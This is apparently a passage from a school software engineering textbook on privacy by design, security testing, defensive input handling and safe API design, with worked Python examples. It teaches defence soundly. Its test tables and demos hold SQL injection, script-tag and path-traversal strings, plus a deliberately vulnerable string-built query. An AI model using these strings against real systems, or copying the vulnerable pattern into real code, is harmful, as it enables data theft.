Privacy must be the default setting of the system — requiring no action from the user to be protected. The most privacy-respecting option must be the path of least resistance. This principle directly counters the industry-wide practice of defaulting to maximum data collection and sharing, requiring users to navigate complex settings menus to opt out. Specific design implementations include: new social media profiles default to private; marketing email preferences default to unsubscribed; location sharing defaults to off; analytics tracking requires explicit opt-in consent, not pre-ticked boxes. The GDPR requires privacy-friendly defaults, and they are good practice under the Australian Privacy Act. Architecturally, data minimisation (collecting only what is genuinely necessary) and purpose limitation (using data only for the stated collection purpose, not secondary commercial uses) must be enforced at the database schema level — if a field does not exist, it cannot be misused or breached.
Respect for User Privacy
Systems must offer users meaningful, granular, and genuinely exercisable control over their personal data. This is distinguished from performative compliance (lengthy privacy policies that nobody reads) by providing real mechanisms for data agency:
The seven foundational principles
Dr Ann Cavoukian's framework has seven principles. The three NESA headings above group them, and the table shows all seven applied to one fictional app, a fitness tracker for students.
| Principle | NESA heading | Applied to the fitness tracker |
|---|---|---|
| 1. Proactive not reactive; preventative not remedial | Proactive not reactive approach | A privacy impact assessment before design decides that exact GPS routes are not needed, so they are never collected |
| 2. Privacy as the default setting | Embed privacy into design | Profiles are private and location sharing is off until the student switches it on |
| 3. Privacy embedded into design | Embed privacy into design | The database has no field for home address, so it cannot be leaked or misused later |
| 4. Full functionality (positive-sum) | Embed privacy into design | Step counts and challenges still work using a pseudonymous ID, so students do not have to trade privacy for features |
| 5. End-to-end security across the whole lifecycle | Proactive not reactive approach | Data is encrypted in transit and at rest, and deleted when the account closes, including from backups on their normal cycle |
| 6. Visibility and transparency | Respect for user privacy | A plain-language "what we collect and why" screen, and a log of when data was shared |
| 7. Respect for user privacy | Respect for user privacy | Easy access to settings, an export button, a delete-my-account button, and no dark patterns |
Privacy by design in code
Three practices show up directly in a program: data minimisation (store only what the feature needs), pseudonymisation (analytics sees a stable code, not the person's identity) and retention limits (data is deleted when it is no longer needed).
import hashlib
import hmac
from datetime import date
ANALYTICS_KEY = b"keep-this-secret-outside-the-code" # in real life: a secrets manager, not source code
def register(form):
"""Keep only what the app needs (data minimisation)."""
return {
"first_name": form["first_name"],
"birth_year": int(form["birth_date"][:4]), # a year is enough to check age band
# NOT stored: full date of birth, home address, phone number
}
def pseudonym(email):
"""Analytics sees a keyed hash, not the email address."""
return hmac.new(ANALYTICS_KEY, email.lower().encode(), hashlib.sha256).hexdigest()[:12]
RETENTION_YEARS = 2
def should_delete(last_login, today):
return (today - last_login).days > RETENTION_YEARS * 365
form = {"first_name": "Ava", "birth_date": "2008-03-14", "address": "1 Example St", "phone": "0400 000 000"}
print(register(form))
print(pseudonym("Ava@example.com") == pseudonym("ava@example.com"))
print(should_delete(date(2023, 5, 1), date(2026, 5, 2)))
print(should_delete(date(2025, 5, 1), date(2026, 5, 2)))
{'first_name': 'Ava', 'birth_year': 2008}
True
True
False
The registration function throws away the address and phone number the form sent, and stores a birth year instead of a full date. The keyed hash gives analytics the same code for the same person (the email is lower-cased first, so the two spellings match) without exposing the email address. Anyone who holds the key could still re-identify people, which is why pseudonymised data is still personal information. The retention check flags accounts inactive for more than two years for deletion.
Privacy by design and Australian law
Australia's Privacy Act 1988 has no clause titled "privacy by design", but several Australian Privacy Principles require the same behaviour:
- APP 1 requires an organisation to take reasonable steps to implement practices, procedures and systems that ensure it complies with the APPs. Building privacy into the system is the practical way to do that.
- APP 2 lets people deal with an organisation anonymously or under a pseudonym where practicable.
- APP 3 limits collection to what is reasonably necessary, which is data minimisation.
- APP 11 requires reasonable security steps and requires personal information to be destroyed or de-identified when it is no longer needed, which is a retention limit.
The OAIC recommends a privacy impact assessment for projects that handle personal information, and Australian Government agencies must complete one for high-privacy-risk projects. The Privacy and Other Legislation Amendment Act 2024 made further reforms, including a statutory tort for serious invasions of privacy and a requirement to develop a Children's Online Privacy Code, and reform is continuing, so check the OAIC website for the current position. The European GDPR does name "data protection by design and by default" explicitly (Article 25), which matters if an Australian product serves people in the EU.
Testing Security and Resilience
🎯 (SE-12-06, SE-12-08)
📌 Test and evaluate the security and resilience of software by determining vulnerabilities, hardening systems, handling breaches, maintaining business continuity and conducting disaster recovery
Determining Vulnerabilities
Vulnerabilities must be identified before attackers find them. Engineers conduct vulnerability assessments — systematic scans of the application and its infrastructure to catalogue all known weaknesses (unpatched software, misconfigured services, exposed admin interfaces, default credentials). Vulnerability scanners (e.g., Nessus, OpenVAS) produce prioritised lists of findings rated by CVSS (Common Vulnerability Scoring System) severity. These findings are remediated in priority order. Each organisation sets its own targets (for example, critical findings first and within days), and the Essential Eight expects urgent patching where a working exploit exists.
Threat Modelling
Threat modelling is a systematic process of identifying all possible attack vectors against a system. A Data Flow Diagram (DFD) is a visual tool used to model how data moves through a system, identifying where sensitive information flows between users, servers, databases, and external services. By mapping these data flows, engineers can identify vulnerable points in the architecture and design appropriate security controls at each stage.
Hardening Systems
System hardening reduces the attack surface by eliminating everything that is not strictly necessary for the system's function. A hardened production server has: all unnecessary network ports closed by firewall rules; all unused software packages, services, and user accounts removed; default passwords and credentials changed; logging enabled for all administrative actions; and automatic security updates configured. A hardened web application has: Content Security Policy (CSP) headers preventing unauthorised script execution; HTTP Strict Transport Security (HSTS) preventing protocol downgrade attacks; security headers (X-Frame-Options, X-Content-Type-Options) blocking clickjacking and MIME sniffing attacks.
Handling Breaches
An Incident Response Plan (IRP) defines the pre-agreed, structured process for managing a detected security breach: (1) Containment — immediately isolate affected systems to prevent lateral movement (e.g., take the compromised server offline, revoke compromised credentials). (2) Eradication — identify and remove the root cause (malware, backdoor, compromised account). (3) Recovery — restore systems from known-good backups and verify integrity before bringing them back online. (4) Post-Incident Review — document what happened, how it was detected, how long it took to contain, and what changes will prevent recurrence. Under Australia's NDB scheme, an organisation that suspects an eligible data breach must assess it within 30 days and, once it has reasonable grounds to believe one has occurred, notify the Office of the Australian Information Commissioner (OAIC) and affected individuals as soon as practicable.
Business Continuity and Disaster Recovery
Business Continuity Planning (BCP) ensures that critical business functions can continue during and after a major incident — whether a cyber attack, natural disaster, or infrastructure failure. Key metrics: RTO (Recovery Time Objective) — the maximum acceptable downtime (e.g., 4 hours); RPO (Recovery Point Objective) — the maximum acceptable data loss (e.g., 1 hour of transactions). Achieving these targets requires: geographically redundant server infrastructure; automated failover to standby systems; regular off-site encrypted backups with verified restoration procedures; and documented, regularly practised disaster recovery drills so that the response under pressure is familiar, not improvised.
Worked example: a small vulnerability assessment
Vulnerability scanners compare what is installed against a list of published weaknesses. Each published weakness has an identifier (a CVE number) and a severity score on the CVSS scale from 0.0 to 10.0. The standard qualitative bands are Low (0.1 to 3.9), Medium (4.0 to 6.9), High (7.0 to 8.9) and Critical (9.0 to 10.0). The program below does the core job of a scanner on a made-up project. The package names and advisories are fictional; real tools read them from public databases.
# A toy vulnerability assessment. Package names and advisories are fictional.
ADVISORIES = [
{"id": "EXAMPLE-0001", "package": "fastforms", "fixed_in": (2, 4, 1), "cvss": 9.8},
{"id": "EXAMPLE-0002", "package": "pdfmaker", "fixed_in": (1, 9, 0), "cvss": 5.3},
{"id": "EXAMPLE-0003", "package": "fastforms", "fixed_in": (2, 1, 0), "cvss": 7.5},
]
INSTALLED = {"fastforms": (2, 0, 3), "pdfmaker": (2, 0, 0), "chartkit": (1, 0, 0)}
def severity(score): # the CVSS qualitative rating scale
if score >= 9.0:
return "Critical"
if score >= 7.0:
return "High"
if score >= 4.0:
return "Medium"
return "Low"
findings = []
for adv in ADVISORIES:
version = INSTALLED.get(adv["package"])
if version is not None and version < adv["fixed_in"]: # tuples compare left to right
findings.append((adv["cvss"], adv["id"], adv["package"], version, adv["fixed_in"]))
for score, ident, pkg, have, fix in sorted(findings, reverse=True): # worst first
print(f"{severity(score):8} {score:>4} {ident} {pkg} {'.'.join(map(str, have))} -> upgrade to {'.'.join(map(str, fix))}")
Critical 9.8 EXAMPLE-0001 fastforms 2.0.3 -> upgrade to 2.4.1
High 7.5 EXAMPLE-0003 fastforms 2.0.3 -> upgrade to 2.1.0
Two of the three advisories apply, because pdfmaker 2.0.0 is already newer than the version that fixed its problem, and chartkit has no advisory. The output is a prioritised list: fix the critical finding first. Real teams also weigh how exposed the system is and how valuable its data is, so a medium finding on an internet-facing login page can outrank a high finding on an internal test server. A zero-day is a flaw with no published fix yet, which no scan of known vulnerabilities can find; the defence is layers (hardening, least privilege, monitoring) and fast patching once a fix exists. The ASD Essential Eight, Australia's baseline set of mitigation strategies, treats patching applications and operating systems as core controls.
Handling breaches: what happens next
The four-step plan above is preceded by preparation and detection. A complete response has six stages:
| Stage | Example for a suspected data breach at an online shop |
|---|---|
| 1. Prepare | Roles and contact lists agreed; logging switched on; backups tested; a practice exercise run |
| 2. Detect and analyse | An alert shows an unusual export of the customer table at 3 am; the team works out which data and how many people are involved |
| 3. Contain | Revoke the stolen credentials, block the attacker's address, isolate the affected server |
| 4. Eradicate | Remove the backdoor, fix the flaw that let the attacker in, reset every secret that might have been exposed |
| 5. Recover | Restore from a known-good backup, check integrity, return services gradually while monitoring closely |
| 6. Review | A blameless post-incident review records the timeline and the changes needed; logs and evidence are kept |
Notification under the NDB scheme. An eligible data breach is unauthorised access to, or disclosure or loss of, personal information that is likely to result in serious harm to someone. If an organisation covered by the Privacy Act only suspects an eligible breach, it must assess it quickly and, at the latest, within 30 days. Once it has reasonable grounds to believe an eligible breach has happened, it must prepare a statement and notify the OAIC and the affected individuals as soon as practicable. Taking remedial action that makes serious harm unlikely can mean notification is not required.
Business continuity: working out RPO and RTO
Two numbers set the requirements for backups and recovery. The RPO is how much recent data the business can afford to lose, measured in time. The RTO is how long the service can be down. Here is a worked calculation for a booking system, using illustrative figures:
| Question | Working | Result |
|---|---|---|
| Backups run every 6 hours. What is the worst-case data loss? | A failure just before the next backup loses everything since the last one | Up to 6 hours, so the achieved RPO is 6 hours |
| The business set an RPO of 1 hour. Does this meet it? | 6 hours is more than 1 hour | No. Back up at least hourly, or replicate changes continuously |
| Detection takes 30 min, restoring takes 2 h and testing takes 30 min. What is the recovery time? | 30 min + 2 h + 30 min | 3 hours. This meets a 4-hour RTO but not a 2-hour one |
A common rule of thumb is the 3-2-1 backup approach: three copies of the data, on two different kinds of storage, with one copy kept off-site. Against ransomware, at least one copy must be offline or unchangeable so the attacker cannot encrypt it too, and the restore process must be tested regularly, because an untested backup is only a hope. Regular backups are one of the Essential Eight.
Strategies to Manage Code Security
🎯 (SE-12-06, SE-12-08)
📌 Apply and evaluate strategies used by software developers to manage the security of programming code
- code review
- static application security testing (SAST)
- dynamic application security testing (DAST)
- vulnerability assessment
- penetration testing
| Strategy | How It Works | Strengths | Limitations |
|---|---|---|---|
| Code Review | A human engineer manually reads and evaluates another developer's code, checking for security flaws, logic errors, and adherence to secure coding standards before the code is merged. | Finds complex logical vulnerabilities and business logic flaws that automated tools cannot detect. Builds collective security knowledge across the team. Documents security decisions. | Time-intensive and expensive. Reviewer fatigue on large codebases. Dependent on reviewer's security expertise — less experienced reviewers may miss subtle vulnerabilities. |
| SAST (Static Application Security Testing) | Analyses source code, bytecode, or binaries without executing the program — scanning for known vulnerability patterns such as SQL injection, hardcoded credentials, and buffer overflows. | Fast; can scan entire codebase in minutes. Integrates into CI/CD pipelines for automatic scanning on every code commit. No running application required. | High false positive rate — flags many issues that are not actually exploitable. Cannot detect runtime-dependent vulnerabilities (e.g., authentication bypasses that depend on server state). Requires tuning to reduce noise. |
| DAST (Dynamic Application Security Testing) | Attacks the running application from the outside — simulating how an external attacker would interact with it — sending malformed inputs, attempting injection attacks, and testing authentication flows. | Finds runtime vulnerabilities invisible to source code analysis. Tests the actual deployed configuration, not just the code. Lower false positive rate than SAST — if DAST finds it, it is real. | Requires a running application. Slower than SAST. Cannot see inside the application — may miss code paths that DAST probes don't reach. Can generate disruptive test traffic in production. |
| Vulnerability Assessment | A systematic process of identifying, quantifying, and prioritising all known vulnerabilities in a system — including the application, its dependencies, operating system, and network configuration — using automated scanners and manual review. | Comprehensive coverage of known vulnerability catalogue (CVE database). Produces prioritised remediation roadmap. Suitable for regular compliance reporting. | Only finds known vulnerabilities — cannot identify novel zero-day exploits. Does not attempt to exploit vulnerabilities, so may overestimate risk for theoretical weaknesses that are not actually exploitable in context. |
| Penetration Testing | Authorised security professionals (ethical hackers) actively attempt to exploit vulnerabilities in a system, simulating the techniques of a real attacker to prove whether weaknesses can actually be breached and assess their real-world impact. | Proves actual exploitability — not just theoretical risk. Tests the effectiveness of security controls under realistic attack conditions. Finds novel attack chains that combine multiple vulnerabilities. Required for many regulatory compliance frameworks. | Expensive and time-consuming — typically performed annually or after major changes. Scope is limited by time and cost. Testers' skill and methodology vary significantly between providers. |
Table
Comparing security testing strategies
Each strategy finds different problems at a different cost, so teams layer them.
| Strategy | When | What it finds best | Cost and speed |
|---|---|---|---|
| Code review | Before release, on source code | Logic flaws a tool can't spot | Slow; needs skilled people |
| SAST | Before release, on source code | Known insecure patterns, early | Fast and cheap; some false alarms |
| DAST | On the running application | Real runtime problems such as XSS | Moderate |
| Vulnerability assessment | On systems and libraries | Known vulnerabilities (CVEs) | Moderate; often automated |
| Penetration testing | On the whole live system | Chains of weaknesses a real attacker would use | Slowest and most expensive |
What to notice
- SAST and code review work on code before release; DAST and penetration testing attack a running system.
- No single strategy finds everything.
Try thisA small team has a week before launch. Which two strategies would you choose, and why?
SAST and DAST: the quick facts
Students often mix these two up. The clearest way to separate them is to ask when each runs and what it can see. NESA's 2025 HSC exam included a table item on exactly these two questions (timing and source-code access), so they are worth memorising.
| SAST (static) | DAST (dynamic) | |
|---|---|---|
| Runs when? | Early, while code is being written or on every commit, before the program runs | Later, once a working build is running in a test or staging environment |
| Needs the program running? | No | Yes |
| Needs the source code? | Yes (or the compiled code); it reads the code | No; it only sends requests and studies the responses, like an outside attacker |
| Testing style | White box (sees inside) | Black box (sees only from outside) |
| Good at finding | Hard-coded secrets, string-built SQL, unsafe functions, exactly which line is at fault | Missing security headers, XSS in a live page, broken login and session handling, server configuration errors |
| Typical weakness | False alarms; cannot see runtime or configuration problems | Cannot point to the line of code; only tests the paths it manages to reach |
One flaw, two views
The snippet below has two classic problems. A SAST tool reads the source and points at the exact lines; a DAST tool, without seeing the source, would find the second one by sending a stray apostrophe or ' OR '1'='1 to the running site and noticing an error or extra records.
# Code that a static (SAST) tool would flag without running it
import os
API_KEY = "sk_live_abc123" # flagged: secret written in source code
def find_user(db, user_id):
query = "SELECT * FROM users WHERE id = " + user_id # flagged: string-built SQL
return db.execute(query).fetchall()
# The fixes a reviewer or tool would suggest
API_KEY = os.environ.get("MARKS_API_KEY") # read from the environment at run time
def find_user_safe(db, user_id):
return db.execute("SELECT * FROM users WHERE id = ?", (user_id,)).fetchall()
Code review for security: a checklist
A reviewer with a checklist finds far more than one who just "reads it through". Useful questions for any change that touches user input, data or access:
- Is every input validated on the server, and is the output encoded for where it goes (HTML, SQL, file path, URL)?
- Are all database queries parameterised, and are all identifiers (such as a sort column) checked against an allowlist?
- Does every route check who the user is and what they may do, including "can this user see this record"?
- Are secrets (keys, passwords, tokens) kept out of the code, the logs and the error messages?
- What happens when it fails? Does it deny access, log the detail privately and show a generic message?
- Is any new library maintained, from a trusted source and free of known vulnerabilities?
- Are there tests for the misuse case, not only for the normal case?
Security test cases
Security testing uses the same tools as ordinary testing (a table of inputs and expected results) but the inputs are hostile: boundary values, malformed data, and the attacker's favourite strings. Every misuse case from the requirements step should end up as at least one row. The test below checks the username rule from the defensive coding section:
import re
USERNAME_RULE = re.compile(r"[A-Za-z0-9_]{3,20}")
def validate_username(text):
return isinstance(text, str) and USERNAME_RULE.fullmatch(text.strip()) is not None
# Security test cases: normal, boundary, and hostile inputs, each with the expected result
cases = [
("normal", "ava_n", True),
("shortest allowed", "abc", True),
("too short", "ab", False),
("longest allowed", "a" * 20, True),
("too long", "a" * 21, False),
("SQL metacharacters", "' OR '1'='1", False),
("script tag", "<script>alert(1)</script>", False),
("path traversal", "../../etc/passwd", False),
("trailing newline", "ava_n\n", True), # strip() removes it
("embedded newline", "ava\nn", False),
("not text", None, False),
]
failed = 0
for label, value, expected in cases:
actual = validate_username(value)
status = "PASS" if actual == expected else "FAIL"
failed += status == "FAIL"
print(f"{status} {label:20} expected {expected!s:5} got {actual}")
print("failures:", failed)
PASS normal expected True got True
PASS shortest allowed expected True got True
PASS too short expected False got False
PASS longest allowed expected True got True
PASS too long expected False got False
PASS SQL metacharacters expected False got False
PASS script tag expected False got False
PASS path traversal expected False got False
PASS trailing newline expected True got True
PASS embedded newline expected False got False
PASS not text expected False got False
failures: 0
The list mixes normal values, both boundaries (3 and 20 characters), the values one step outside each boundary, and three attack strings. When a defect is fixed, its test case stays in the table permanently as a regression test, so the flaw cannot quietly return. Fuzzing extends this idea by generating huge numbers of random or mutated inputs automatically and watching for crashes and unexpected behaviour.
Penetration testing: authorised, scoped and reported
A vulnerability assessment lists the doors that might be unlocked. A penetration test tries them. Because the tester really does attack, it is only legal and safe with written authorisation. In Australia, unauthorised access to or modification of restricted data is a criminal offence under Part 10.7 of the Criminal Code Act 1995, which was inserted by the Cybercrime Act 2001. A professional engagement therefore starts with an agreed scope (which systems, what times, what is off limits) and rules of engagement (for example, no denial-of-service attacks and no reading of real customer data). The usual phases are planning and scoping, information gathering, scanning, attempted exploitation, reporting with prioritised recommendations, and re-testing after fixes. Students practising must only test systems they own or have permission to test, such as a deliberately vulnerable practice application on their own computer.
Choosing strategies: a worked evaluation
A three-person team must launch an online school uniform shop, which stores names, addresses and orders, in a week. Their options can be judged against criteria: what each finds, how fast it is, how much it costs and what it misses.
- Start with SAST and a dependency scan in the build. They are fast, cheap, run automatically and catch hard-coded secrets and string-built SQL before they ship. They will produce some false alarms to triage.
- Add peer code review of the login, payment and admin code. This is slower but is the only strategy here likely to find logic flaws, such as an order page that shows any customer's order when the number is changed.
- Run DAST against the staging site. It confirms the deployed system, including headers and configuration, behaves securely from the outside.
- Defer a full penetration test until after launch, or buy a short one for the payment flow only. It gives the most realistic assurance but costs most and needs time the team lacks.
The judgement is that layering fast automated tools with focused human review gives the most coverage for the time available, and the risk that remains (chains of weaknesses only an attacker's mindset finds) is accepted and scheduled for later.
Defensive Data Input Handling
🎯 (SE-12-02, SE-12-07)
📌 Design, develop and implement code using defensive data input handling practices, including input validation, sanitisation and error handling
Input Validation
Input validation checks that all data received from external sources conforms to the expected format, type, length, and range before it is processed or stored. Validation must happen server-side — client-side validation is a UX convenience only; it can be bypassed by an attacker sending direct HTTP requests. Validation rules should be strict: if a field expects a 4-digit integer, reject anything that is not a 4-digit integer — including any string longer than 4 characters, any non-numeric character, and any value outside the permitted range.
Sanitisation and Error Handling
Sanitisation transforms potentially malicious input into a safe form for use in the specific context where it will appear — HTML encoding for output in web pages, parameterised queries for database operations, path normalisation for file system operations. Error handling must never expose internal system details to the user — stack traces, database connection strings, server paths, or version information all provide attackers with a map of the system architecture. Parameterised queries prevent SQL injection by ensuring user input is treated as data, not executable code.
Worked example: validating fields with an allowlist
The safest rule is an allowlist: describe exactly what a good value looks like and reject everything else. A denylist ("reject anything containing DROP or <script>") always misses something, because attackers have endless variations. A good validator checks four things in order: the type (is it text? a whole number?), the length, the format or characters, and the range. It also returns a clear result instead of crashing on hostile input.
import re
import html
USERNAME_RULE = re.compile(r"[A-Za-z0-9_]{3,20}") # allowlist: only these characters
def validate_username(text):
"""Return (True, cleaned) or (False, reason). Never raises on bad input."""
if not isinstance(text, str):
return False, "must be text"
text = text.strip()
if USERNAME_RULE.fullmatch(text) is None:
return False, "3-20 letters, digits or underscores only"
return True, text
def validate_year_group(text):
text = str(text).strip()
if not (text.isascii() and text.isdigit()): # isdigit() alone accepts characters such as '²'
return False, "must be a whole number"
year = int(text)
if not 7 <= year <= 12: # range check
return False, "must be between 7 and 12"
return True, year
def validate_postcode(text):
text = str(text).strip()
if len(text) != 4 or not (text.isascii() and text.isdigit()):
return False, "must be exactly 4 digits"
return True, text
tests = [
(validate_username, "ava_n"),
(validate_username, "ava n; DROP TABLE"),
(validate_username, "x" * 500),
(validate_year_group, "11"),
(validate_year_group, "13"),
(validate_year_group, "1e3"),
(validate_year_group, "²"),
(validate_postcode, "2000"),
(validate_postcode, "20000"),
]
for check, value in tests:
ok, result = check(value)
shown = value if len(value) < 20 else value[:17] + "..."
print(f"{check.__name__:20} {shown!r:24} -> {ok}, {result}")
# Sanitisation depends on where the data is going: encode it for HTML output
comment = '<script>alert("hi")</script> Great class!'
print(html.escape(comment))
validate_username 'ava_n' -> True, ava_n
validate_username 'ava n; DROP TABLE' -> False, 3-20 letters, digits or underscores only
validate_username 'xxxxxxxxxxxxxxxxx...' -> False, 3-20 letters, digits or underscores only
validate_year_group '11' -> True, 11
validate_year_group '13' -> False, must be between 7 and 12
validate_year_group '1e3' -> False, must be a whole number
validate_year_group '²' -> False, must be a whole number
validate_postcode '2000' -> True, 2000
validate_postcode '20000' -> False, must be exactly 4 digits
<script>alert("hi")</script> Great class!
Three details are worth noticing. re.fullmatch insists that the whole string matches, so extra characters cannot hide after a valid start. The year-group check tests isascii() as well as isdigit(), because isdigit() alone accepts characters such as the superscript two in the seventh test, and int() may then misbehave. And the length rule stops the 500-character string before any other work is done. The last line shows that valid free text can still be dangerous when it is displayed, which is the job of encoding, covered next.
Validation, sanitisation and encoding: which does what
| Technique | What it does | Example |
|---|---|---|
| Validation | Checks input against the rules and rejects what fails | Year group "13" is refused with a message |
| Normalisation and cleaning | Puts valid input into one standard form | Trim spaces, lower-case an email, apply Unicode normalisation |
| Context-specific encoding | Makes data safe for the place it is going, so it is treated as data, not code | html.escape() for a web page; a parameterised query for SQL; URL-encoding for a link |
| Sanitisation | Removes or replaces dangerous content in input that must be accepted | Stripping all HTML tags from a comment, using a maintained library rather than a hand-written blocklist |
No single technique is enough. Validation cuts down what enters, encoding and parameterised queries protect the place where data is used, and a least-privilege database account limits the damage if both fail. This is defence in depth.
SQL injection: the vulnerable version and the fix
SQL injection happens when user input is joined into the text of a query. The database cannot tell which part the programmer wrote and which part the user typed, so the attacker's input can change what the query does. The program below builds the same lookup twice: once by joining strings (vulnerable) and once with a parameterised query (fixed). It searches three students with three inputs: a normal surname, an attack, and a legitimate surname that contains an apostrophe.
import sqlite3
db = sqlite3.connect(":memory:")
db.execute("CREATE TABLE students (surname TEXT, year INTEGER, mark INTEGER)")
db.executemany("INSERT INTO students VALUES (?, ?, ?)",
[("Nguyen", 12, 78), ("Smith", 11, 64), ("O'Brien", 12, 91)])
def find_unsafe(surname):
# VULNERABLE: the input is glued into the SQL text, so it can change the query
query = "SELECT surname, mark FROM students WHERE surname = '" + surname + "'"
print("SQL sent:", query)
return db.execute(query).fetchall()
def find_safe(surname):
# FIXED: the SQL text is fixed; the value travels separately as data
query = "SELECT surname, mark FROM students WHERE surname = ?"
print("SQL sent:", query, "with", (surname,))
return db.execute(query, (surname,)).fetchall()
for finder in (find_unsafe, find_safe):
for text in ("Nguyen", "' OR '1'='1", "O'Brien"):
try:
print(finder(text))
except sqlite3.Error as err:
print("Database error:", err)
print()
# Identifiers such as a column name cannot be parameters: use an allowlist instead
ALLOWED_SORT = {"surname", "year", "mark"}
def list_students(sort_by):
if sort_by not in ALLOWED_SORT:
sort_by = "surname" # safe default
return db.execute(f"SELECT surname, mark FROM students ORDER BY {sort_by}").fetchall()
print(list_students("mark"))
print(list_students("mark; DROP TABLE students"))
SQL sent: SELECT surname, mark FROM students WHERE surname = 'Nguyen'
[('Nguyen', 78)]
SQL sent: SELECT surname, mark FROM students WHERE surname = '' OR '1'='1'
[('Nguyen', 78), ('Smith', 64), ("O'Brien", 91)]
SQL sent: SELECT surname, mark FROM students WHERE surname = 'O'Brien'
Database error: near "Brien": syntax error
SQL sent: SELECT surname, mark FROM students WHERE surname = ? with ('Nguyen',)
[('Nguyen', 78)]
SQL sent: SELECT surname, mark FROM students WHERE surname = ? with ("' OR '1'='1",)
[]
SQL sent: SELECT surname, mark FROM students WHERE surname = ? with ("O'Brien",)
[("O'Brien", 91)]
[('Smith', 64), ('Nguyen', 78), ("O'Brien", 91)]
[('Nguyen', 78), ("O'Brien", 91), ('Smith', 64)]
- Normal input works in both versions.
- The attack closes the string early, so the query becomes
WHERE surname = '' OR '1'='1'. The condition'1'='1'is always true, so the string-built version returns every student's mark: a confidentiality failure from one text box. The parameterised version sends the SQL and the value separately, so the whole attack is treated as a surname and matches nobody. - O'Brien is not an attack at all, but the string-built version fails with a syntax error because the apostrophe ends the string. The parameterised version handles it correctly. Injection flaws are often first noticed as bugs affecting genuine users.
- Column and table names cannot be parameters, so the last lines use an allowlist for the sort column and fall back to a safe default.
Input handling lab. This interactive tester needs JavaScript. Without it, read the two programs above: the string-built query returns every student for the input ' OR '1'='1, and the parameterised query returns none.
Safe error handling and logging
Errors are unavoidable, so handle them deliberately. Two audiences need two different messages: the user needs a short, generic message and a way to get help, and the developer needs full detail. The detail goes to a log, and the two are joined by a correlation ID (a random reference).
import logging
import secrets
import sqlite3
import sys
logging.basicConfig(stream=sys.stdout, level=logging.INFO,
format="%(levelname)s %(message)s")
log = logging.getLogger("bookings")
db = sqlite3.connect(":memory:") # the bookings table has not been created (a fault)
def get_booking(user, booking_id):
try:
return db.execute("SELECT * FROM bookings WHERE id = ?", (booking_id,)).fetchone()
except sqlite3.Error:
ref = secrets.token_hex(4) # correlation ID
# Full detail goes to the log only. Never log passwords, tokens or card numbers.
log.exception("ref=%s user=%r lookup failed for booking %s", ref, user, booking_id)
return f"Sorry, something went wrong. Quote reference {ref} if you contact support."
print(get_booking("ava_n", 42))
ERROR ref=5c4d6f38 user='ava_n' lookup failed for booking 42
Traceback (most recent call last):
File "bookings.py", line 14, in get_booking
return db.execute("SELECT * FROM bookings WHERE id = ?", (booking_id,)).fetchone()
sqlite3.OperationalError: no such table: bookings
Sorry, something went wrong. Quote reference 5c4d6f38 if you contact support.
The reference (5c4d6f38 here) is different every run; the traceback line numbers and paths depend on the computer. Rules that this small program follows:
- Catch the specific error you expect (
sqlite3.Error), not everything, and let genuine surprises reach a top-level handler. - Never show internals to the user: no stack traces, file paths, SQL text or version numbers. They give an attacker a map.
- Never log secrets: passwords, session tokens and full card numbers must not appear in logs. Log who and what, not the secret. Use
%r(as above) for user-supplied values so line breaks in a hostile value cannot forge extra log lines. - Fail securely: after an error in a permission check or a login, the answer is "denied", never "allowed".
- Log security events (failed logins, permission refusals, validation rejections) so patterns can be spotted, and protect the logs themselves from change.
Designing a Safe API
🎯 (SE-12-02, SE-12-07)
📌 Design, develop and implement a safe application programming interface (API) to minimise software vulnerabilities
An API (Application Programming Interface) that is insecurely designed is one of the most common and dangerous attack surfaces in modern software. A safe API enforces multiple protective layers:
Flowchart
Defensive handling of a request
Every request is checked in order and rejected at the first check it fails.
What to notice
- Checks run from cheapest to most expensive, so bad requests are rejected early.
- Sanitising and parameterised queries are subprograms, detailed in their own algorithms.
Try thisAdd a rate-limit check. Where in the sequence should it go?
See exactly how attackers exploit unvalidated input — and why input validation, sanitisation, and parameterised queries stop them.
Worked example: a safe request handler
The handler below is an API endpoint for saving a student's mark, written as a plain function so it can be tested without a web server. It applies the checks from the flowchart in a deliberate order, cheapest and most general first, and returns a precise status code for each kind of failure.
import hmac
import json
TOKENS = {"tok_teacher_1": {"user": "ms_lee", "scopes": {"marks:read", "marks:write"}},
"tok_student_9": {"user": "ava_n", "scopes": {"marks:read"}}}
MAX_BODY = 1_000 # bytes
def find_token(presented):
for known, info in TOKENS.items():
if hmac.compare_digest(known.encode(), presented.encode()): # constant time
return info
return None
def handle(request):
"""request: dict with https, headers, body. Returns (status, message)."""
if not request["https"]:
return 400, "HTTPS required"
header = request["headers"].get("Authorization", "")
if not header.startswith("Bearer "):
return 401, "Unauthorized" # who are you?
info = find_token(header[len("Bearer "):])
if info is None:
return 401, "Unauthorized"
if "marks:write" not in info["scopes"]:
return 403, "Forbidden" # you are known, but not allowed
if len(request["body"]) > MAX_BODY:
return 413, "Payload too large"
try:
data = json.loads(request["body"])
except ValueError:
return 400, "Malformed JSON"
mark = data.get("mark") if isinstance(data, dict) else None
if not isinstance(mark, int) or isinstance(mark, bool) or not 0 <= mark <= 100:
return 422, "mark must be a whole number from 0 to 100"
return 200, f"mark {mark} saved by {info['user']}"
def call(label, https=True, token="tok_teacher_1", body='{"mark": 82}'):
headers = {"Authorization": "Bearer " + token} if token else {}
print(f"{label:22}", handle({"https": https, "headers": headers, "body": body}))
call("valid request")
call("plain HTTP", https=False)
call("no token", token=None)
call("wrong token", token="tok_guess")
call("student token", token="tok_student_9")
call("oversized body", body='{"mark": 1, "pad": "' + "x" * 2000 + '"}')
call("not JSON", body="mark=82")
call("mark out of range", body='{"mark": 250}')
call("mark is text", body='{"mark": "82; DROP"}')
valid request (200, 'mark 82 saved by ms_lee')
plain HTTP (400, 'HTTPS required')
no token (401, 'Unauthorized')
wrong token (401, 'Unauthorized')
student token (403, 'Forbidden')
oversized body (413, 'Payload too large')
not JSON (400, 'Malformed JSON')
mark out of range (422, 'mark must be a whole number from 0 to 100')
mark is text (422, 'mark must be a whole number from 0 to 100')
| Status | Meaning | Used above when |
|---|---|---|
| 400 Bad Request | The request could not be understood | The connection is not HTTPS, or the body is not valid JSON |
| 401 Unauthorized | Not authenticated: who are you? | The token is missing or unknown |
| 403 Forbidden | Authenticated but not authorised: you may not do this | A student's read-only token tries to write |
| 413 Payload Too Large | The request body exceeds the limit | An oversized body |
| 422 Unprocessable Content | Well-formed but fails validation | The mark is out of range or not a whole number |
| 429 Too Many Requests | The rate limit was exceeded | See the rate limiter below |
